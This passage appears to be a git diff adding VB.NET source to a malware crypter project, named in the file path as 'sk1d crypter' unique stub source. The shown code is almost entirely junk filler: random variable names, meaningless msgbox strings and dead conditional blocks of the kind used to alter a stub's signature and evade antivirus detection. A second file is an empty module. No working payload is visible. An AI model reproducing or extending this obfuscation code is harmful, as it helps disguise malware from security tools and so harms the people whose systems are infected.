msgbox("dyEnxJoATiVJwvDOmXlilTjohFOxbUogLekhHIHyWbbfPwhgaqkgPPsUVzzmWvZkUrgsbptCXqjKVxXaueiqVtTMlcwEwxuyNNMKpDuZeBOmwBVLBQCBmFGfkQanhctkyVzYeAFfylkaHVCEaMBvCBobpGcMlTJjpMVcjVinUTopTSNM") + If 646222 > 900790 Then + Dim usZmVSHemCIVrNYBizmxzIJHGn As String = "eQsXqIuqTjBfmlquHuTJlEJpBAJliFGeQjDwtRPoxfTPbn" + Dim JGabJdCjppVkilZOpzqDNRrHuB As String = "ezmONixLtkRqHFkKrgkwmxwplYHFMxoDtlneMwUJKHpHHJPlLMQiCzZymMFRTXNhMkTCBf" + Dim VSMufRptyjiscfKbuliyQUyKRW As String = "bWLfgmqXWcBNwYMvSSMHMMOKgYcjhPlbMVxVKBvPUBOPTXPlAGkTglt" + End If + Dim iHdFkGUbztdshOeXGMjWhXuWuKYgyZSvccCeXPlzKVacFREATmZDeIM As Integer = 755139 + Dim ADOabnuMHPLYJOJECwvHRunkk As String = "FrxWXIJTwDlQmxfGTggMlonPXFbcUFGmRBYnZEuyhdsHMlvfHWlZlLGUCSaGZVarTuuSDNhm" + msgbox("urcbMUXVClZYjogUMVHqGUazpRhwdgPlPRffUHLERUbIOWEfsHtlPgGHoOMvxSgrsnMdCNrtFTnaPjXtBOgmaoYPoXRUrdWCHBENRQuyEhUSXLuSJCbUclcYJezQRGWB") + If 7906805 > 626445 Then + Dim atrnjOHXwjgKSlubWkeiWdZoCJ As String = "EkiDxKIyVewDCLlrlaImQuoAdLmYMRTtVua" + Dim mteaRCajInCRkugxDVVtlOcWVe As String = "pSqJLZWbxLkalvtfmkZZGLJvYbUBEBCtVmGPWymmXLaLwNDfqixIxMfNkFq" + Dim hBwNbhbRzXlLIkyfqdKrnKGlNR As String = "ucMFutbjGdiBEuOciBcCZvGvXhQYfvejJpLyxrQTqHxA" + End If + msgbox("IPLxwSNYpskbiWmWJWSXqkeBRjQCrmimzzGDGYQoTqLaFAiQbaGPeaogFhglKhIirdFyrCRYyuMfQwKowCSFlahVghARyatFFXBQgdpyFHRsIEXuGLOzSMNHrCPxzKNEnkiQuChffWGYRRNkuLMIkeEyVMvoolCjSOgYowJbiSzHzGibwT") + If 827177 > 919599 Then + Dim QzCoVkHFqXNyqwcyVngTcbvxmU As String = "dbTgoxHYxdKpmHtvNLzeOMvHvkhrUnQeGvwlFGMNSyAKwNY" + Dim ooNKGLnPJMUkVbmFzjykjUkEBH As String = "zIXbJbpUAtTFvPxDLFkdhVPazGGXGzxvHCnpqMnMRQpeNyrhiLvMjCExFRrHVwhLzFoHYGWK" + Dim uJhndfNWQTJMQNHuEAsxWdkKhR As String = "oiNuMLDQkrYjHInJnIXSplITYgojSrqnpsFLkWgIgeinwmNSLntpwoh" + End If + End Function + + + + Public Function JjajIssJKVXxbjDJyRXGzzgTHBQOmepgjCqhhYyIUZHDdVPEVZYeBbEwkjVrdeTFaicfQkVVzhuQalFaenVbvngZbldYWlpQXMlZZmjSoakdfmBrMpQrwupWWrpE(ByVal VKTXgQSskgGkwnS As String) As String + On Error GoTo PIlSdmJhmILowNOxiYmbOnbQikrSylErxnQSJEcNpRjaUtWYERhLycnylYfn + Dim ypUpjdSIyotYjEwfgQGbecRXWZ As String = "muNuLOsHmGQyqZpBPQpvKFCalygdUjWaoOnaDhJvKdlhErOJIoIdExEoqBNLsFohmCPMtPtqYm" + msgbox("DikdpXalhGHKWYLtzRPreKzJhFLtkprIeFXDtbaDgOfKPLCPWmZtmLyskzEefEXjByfETZlumRgJHaCPvMIOJzSczsLwNDpnNtKUMfLtPzZydoiOdXwkpYsJoZQiBvoMcrtiW") + Dim ZsmoderwClBmfLRorLFKovjnaskVp As Integer = 407866 + 876015 + 476885 + 1106776 + msgbox("ExkOOZuaTzLOFFQyLQNnTaxGJjwpZAPtEErMTWcIcMTNvXBcVzTudOkhSycZoBhiNxBMcQgsoXpfrhZGtJNyIBpSKaixBUKEoEkDZIzuOKxGdjfylTQn") + Dim LKoEAsyTvIMPJXUzrjTOeqGowRBBiEOvPVmYKVvjccLtqXcVDwXYtix As Integer = 384384 + Dim NmzlBqolRMjfyjfWGfucBUPRsfuIqgRdgXWlB As Integer = 1608397 + 1000800 + 601670 + 1231561 + Dim RXTjnDLXsnPxVFblwSisICkjKlefpvLSxZcNkHJwMEwJLItGTDZfMrI As Integer = 291696 + Dim fELrqaBVSaWKPtvKEXnMbnKJQrvVfOx As Integer = 588821 + 894823 + 495694 + 1125585 + msgbox("IGtwJyxEqwhfuKgWNjdjYUliVIrKUjONTcWkbtTXxujlmwilJgkRRVvRnGzfdDWqgFsHHMhXUKudmXaquVfyXsFLihmcUlCNWKvvCyDOhOEnvkXuxWBNufe") + Dim KaPaFwBeKoQbVTCFfKYHkgZfCcCGGhBhUeLVXhcHVdgbbfduIquJontF As Integer = 400835 + Dim wxyPyKLnLtMqzBkBvrqMoyXalGORcvSFXruor As Integer = 1789352 + 1019608 + 620479 + 221349 + Dim xaDXCJSpaXubgZrjaDrslWqqNqbcuHQyiBPUbOIGfUBEPxmEHHMdtdS As Integer = 308146 + Dim CmiehERfmdopnzUdpDqgCPTWXzyvagzU As Integer = 769776 + 913632 + 514502 + 1144393 + msgbox("GdzsfMswiYNivgKtWvGCQNNQmaJmFnjpboJYDHpqjcBywrNSutfFZyBzgUYkgNYKtctagXtfNzOjdoyaXIqMrbYPmqsgkYaCXVYFlVKwZkvWOjEptIIIFeifI") + Dim OfhGogHMznmdmYvTgFWpdwPclbcthQnohWSXXmZEMDTAdvdcuTEYxEi As Integer = 417285 + Dim SrLOTbFBLugrtyZNwGVduprHvkaMeCfsJGzByL As Integer = 1970307 + 1038417 + 639287 + 240157 + Dim aFivcupIEpqHMNyYPMtZNZqjlFISvMXAFKmnPbKNPHjFLPmhqOqdmgi As Integer = 324597 + Dim mYJSDiPJQvtjULYaRTQLdvTSYVVtPCbnG As Integer = 950731 + 932441 + 533311 + 1163202 + msgbox("uFcuBbynMhgHRrsNmicsOUZpRmHDHsdoPhfjlMVkgrBwtdaifyvsxQxoNXfrPtBpustFpFgbgXUIRsoTmmJTQUIoStKYJwfosOnwtIcbSCEfRlgkOYoKBjBEpbRkY") + Dim NuXMmImUXidGvioLmCJabwDasStLhQEVoEdushuJPZGZkhljVxoqPcXn As Integer = 433736 + Dim CvDQbUXdRROrXWrFklVfqmdlFReRQeTieYzOb As Integer = 2151262 + 1057226 + 658096 + 258966 + Dim EAuoMThNqmXWrXPGOqUbHInYeQzrWKXXpjaBGqGXQGlONRMbXLWiBkbv As Integer = 341047 + Dim zVJGRYwUNrmYfLdVqfWrgKvxxYdqJhstcM As Integer = 1131686 + 951250 + 552120 + 1182011 + msgbox("BsGmfxapALcVKqcLdfpvSuFjPgawXhQNVLWeiAnkJBEuYzuZzJKLGzTMpGqetkoxVaVBQaVKdicUZpmKOEIPwSqHOAFmNxuuetgbcorRBoqmvAgxgCLUzOwQLlLmVGbc") + Dim VmZlecOzHvVOYlvFMxpzIfrLoFckhrdLkCuxsSrNdXKiQjMctfuYjjW As Integer = 450186 + Dim TllReggzidcJefKNfJBUXynCJBGeuCsSzwAnYiWp As Integer = 2332217 + 1076035 + 676905 + 277775 + Dim SKVilvFTaDSpCNjUpgXiABzZb As String = "PhKixYabMKofmtXqhoJaAZqbWGcfmuTyMosSuhWaGylKcWZocbEiFZdQHcGiOvxlkGJ" + msgbox("kUWFHdlFrkpjyvirYucCfVTZkDqOKFQGtndCUgDdBTDymmmvTkYLNudztVIxxiRxigYtKNwidNxjXpOhkDfZvWliJbuHFzIcTxNgSgdynMaHeFGpP") + Dim VNKTYRcrrJRpVbWTPQDmdeGEMkkuVezXpaOgRuTuLZEcElINVVLuQfMU As Integer = 378370 + Dim MFZmbcUgStQWawoTuUrJtVCsDbzgMlgSavNt As Integer = 1542243 + 993924 + 594794 + 1224685 + msgbox("OhVikBiBeiBUTvnFsvkfZppOyJcbsoFEoXLiZPqgeNYNFkWxiThsgkLilHFmjwrTVCrXFVlLsOwSVCjRGFAzRGPTnXpnRrcBLUcMCnIYWgjrpSOuPGKHZpDHBvmSvzjMRhHsmw") + Dim PiDJarMFkyeFTBxDjsaTBPCcVidSF As Integer = 522667 + 887947 + 488817 + 1118709 + msgbox("UvAIBWWPieBcAcSFrzCAgToPZwvjKTIewMiEgnabgyYHfyCygblIhvXTBBaVeeTPdtHXGWuCzMfpNxDxidGSrHRCBBftzBKZEEGclGbFwbVRzJqMNqx") + Dim PHRMFAHwzigXmljkxaPRvMZokmjTfJIsoJrFJNjQwyzZVrlcrABMCra As Integer = 394821 + Dim LWJScGRZjORUbSeVQhDMRQCdrnICEJicrUucw As Integer = 1723198 + 1012732 + 613602 + 214472 + Dim VxBbovMoaSIXakUMsmOlKeVkWfTxdupHrleFIYaJkgqCsJXeOHHDTUAl As Integer = 302132 + Dim kBozviKyVAqSsIKvKOjPtJcJEMencSrY As Integer = 703622 + 906756 + 507626 + 1137517 + msgbox("eBrTgPJKmLkzfKPqbdBSyOGlLmRVSCedYMjbDDXgrsEFdcjXPMGvvkDMjTTkSTfVLCwlmYFFCVvFEXghiUxYBuzCYQiVSvOdONMxanRHnjsBDKPvrIFKFCly") +PIlSdmJhmILowNOxiYmbOnbQikrSylErxnQSJEcNpRjaUtWYERhLycnylYfn: + Dim jMNPPjOTvdiayJlnKttwxDBXmv As String = "PdZZTdDSNlcPXLxiCluqwQgRWrKUHTwTwBEoTwrSPZbabxzwEEUYWQFREuxUYWftvkSNBeAWSY" + msgbox("PUUTifEIVvjnmvBvyRYirmjyLqvOjgLQmDPNpcIxDxYctuqSJBUsRxsDDxcGoUoFDAcEaoUbeicnCCRuUzptgCeoOKFYiBxPVJVRNFccwJbooRIhFxsMYgouYtXtyadqYJ") + If 7964205 > 632411 Then + Dim StPdsbEHYvZZzyogwYfRWMhYdY As String = "tdSqaGUiRrxNCZxfMdCcsbwtIxuctyhIir" + Dim pdBTPElouClQtZbrrWeNwOntS As String = "AfxRtTxhJvDKAIWJGrbiglzPungOgtgbReHJwMBPiNqlGkDWtJqsqtSiQrOj" + Dim dAJrQqAzMJoTUzjuWVDExkukGU As String = "FSgNpoMsrZPOyFfIJLTlFtPYatpkurrGRcrwkaFsxqK" + End If + msgbox("npXCsSAlAdffjxawuykmSFGXiCthuLDJNWcZOtIKrNAxwPMWMXrmMqozZTYDCWQpSPiKHOvDorysnFplXbSqFslyJQaTqDapeybqaXeXTlPyLQYxDiBiyHKdQNpLLCxQYuyBUQXcIQmxRpaPgLiutdavTfFNPOvbeWmYrnoYhBEXHZLuifBJs") + If 884577 > 925565 Then + Dim ItSCpXbIqZNZVQPKCOZQWuDCH As String = "SDenEnIPkRVuTSbRrilhaDVDvFphOHdrWmxdyHvShJrpzQE" + Dim ugypRlpOOpxrpDvuYugDrZDTN As String = "oFfwRfJjNMNgycJjgZAVzxMKcoRVjNdCChGSSKUANKdLfUZSvfgizleOxhaaVvUwIKTkDB" + Dim SJdDyntPJmQuhlaNCJLzUnxoYf As String = "pcDLurtByUCSouDyIABYJcrFTBgSBByZKqtgPYbBOHxirYPyCXdnLg" + End If + Dim UInjZMhvXkeVHInbJKWKMCGotSrzVWlNJgqIzvNOkrWFUgmTSgMdlsvm As Integer = 776807 + Dim ZkPomHjiFBLmFmOJHoyBLzPZkD As String = "ZDLibhiGJroujCKlJxmmdoVUnzmmwBMqOTHUtybtlmZdQTiCFaByaxuxBSKocxztIlKshhLoRR" + msgbox("oWosUtsfYvNFEFqMcQdHcScETHideqmoSJBlREChtsmoCmQDFCRfCsKNXpKGgMLKEyzMLEPiPGeshWsoEsgdhfSkbTzIQooATySHhZENZZhLBCqWWseomFYZqfFXYIDpyPxcn") + If 8145160 > 651220 Then + Dim RQweaqeUDUWXQgyUGcUgFrFFLK As String = "vxpNBmKweZvOYUqtyQwBKoQwhKKEvWfsxctW" + Dim vHoupmevcOmQAGpkVSylyIURmL As String = "QAzhsraXgJjVabhXzreXoYzdiSEWtdDpImlaFubempkfPZmUUzFvOTJRVzWZ" + Dim yPuUFjcHrnkkWcvjCVfDmspFxc As String = "SPVuupuybhWQnQWUeMkoRkMhcwMqnQEWhpdbFTLjZsIw" + End If + msgbox("tBKvqNvedxJthEwcDjoTroYehUnalvSgyfIkUbuNndkPUmSLTpQCyFWsKfgcnMrkKbWrNPgsYuPpKVvigQwmMMKUFpsOXzzCvbkGLJOyGYntojoGTItWspwaEsqCHsUnwkrxeWcToeJZiXGHasQeNbsiPsrBYrgmTNGGrKYrljuKugwnbFkGfl") + If 1065532 > 944374 Then + Dim oVGREUjUxtRZsuJPXHftbpPDPo As String = "dlyDUFdRjBfAcBBddIQyvlEciOKGUxsWywCmiLQmYijkhMsq" + Dim DpGWmfOYZAZoxlJYqhKSkhZofc As String = "ZZBXFjnnywhSgnEgSQPYfVoxdXGuIppETXGNZTnYvQfKIXhrIwFDyPuWyNQQErCBYXQLKcRa" + Dim RUOTERFIBmVsToQUMvxlyxVojS As String = "eGdrLdaZFiKkskfJcVRgYCZTxjeSarvOMNyJYDRgAbfVDWIOknZqejL" + End If + Dim ZPoGYKrrqrDzHnuCetgwzsNWXrdFvJUJMoOvONLVqsXNxjaejlAavOq As Integer = 793258 + End Function + +End Module diff --git a/scode (sk1d crypter/unique stub source/crypt sub/rp.vb b/scode (sk1d crypter/unique stub source/crypt sub/rp.vb new file mode 100644 index 0000000..e5659ec --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/rp.vb @@ -0,0 +1,3 @@ +Module rp + +End Module